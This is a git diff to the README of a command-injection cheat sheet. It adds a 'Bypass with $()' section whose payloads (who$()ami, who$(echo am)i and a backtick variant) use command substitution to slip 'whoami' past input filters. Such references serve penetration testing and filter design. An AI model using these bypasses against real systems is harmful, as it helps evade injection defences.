diff --git a/Command Injection/README.md b/Command Injection/README.md
index 9df048a..e98534a 100644
--- a/Command Injection/README.md	
+++ b/Command Injection/README.md	
@@ -18,6 +18,7 @@
    * [Bypass with double quote](#bypass-with-double-quote)
    * [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
    * [Bypass with $@](#bypass-with-)
+   * [Bypass with $()](#bypass-with--1)
    * [Bypass with variable expansion](#bypass-with-variable-expansion)
    * [Bypass with wildcards](#bypass-with-wildcards)
 * [Challenge](#challenge)
@@ -209,6 +210,13 @@ echo $0
 echo whoami|$0
 ```
 
+### Bypass with $()
+```powershell
+who$()ami
+who$(echo am)i
+who`echo am`i
+```
+
 #### Bypass with variable expansion
 
 ```powershell